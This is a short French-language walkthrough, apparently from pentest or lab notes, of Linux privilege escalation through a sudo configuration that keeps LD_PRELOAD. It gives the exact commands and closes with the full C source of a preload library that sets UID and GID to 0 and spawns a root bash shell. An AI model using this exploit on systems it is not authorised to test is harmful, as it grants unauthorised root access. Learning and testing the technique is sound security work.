- Vérifier les droits sudo :
- Commande :
sudo -l - Lorsque
env_keep+=LD_PRELOADest présent dans la configuration de sudo, cela signifie que la variable d'environnementLD_PRELOADest conservée lors de l'exécution des commandes avecsudo.
- Créer le fichier source C (root.c) :
- Commande :
nano -w /tmp/root.c - Le code C crée une bibliothèque partagée qui, lorsqu'elle est chargée, exécute son code d'initialisation (
_init()). Ce code modifie l'ID utilisateur (UID) et l'ID de groupe (GID) du processus en 0 (c'est-à-direroot), puis lance un shell Bash.
- Compiler le fichier source en bibliothèque partagée :
- Commande :
gcc -fPIC -shared -o /tmp/root.so /tmp/root.c -nostartfiles - Cette commande compile le fichier
root.cen une bibliothèque partagéeroot.so. L'option-fPICcrée du code position indépendant, nécessaire pour les bibliothèques partagées, et-nostartfilesempêche gcc d'utiliser les fichiers de démarrage standard, ce qui n'est pas nécessaire pour ce type de charge utile.
- Exécuter une commande avec
sudoen utilisantLD_PRELOAD:
- Commande :
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/executable restart - Ici,
LD_PRELOADest utilisé pour préchargerroot.so. Lorsque la commande/usr/sbin/executable(qui doit être une commande autorisée parsudo) est exécutée, elle chargeroot.soavant toute autre bibliothèque. Cela entraîne l'exécution du code dans_init(), élevant ainsi les privilèges du processus à ceux deroot.
Contenu de root.c:
C
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}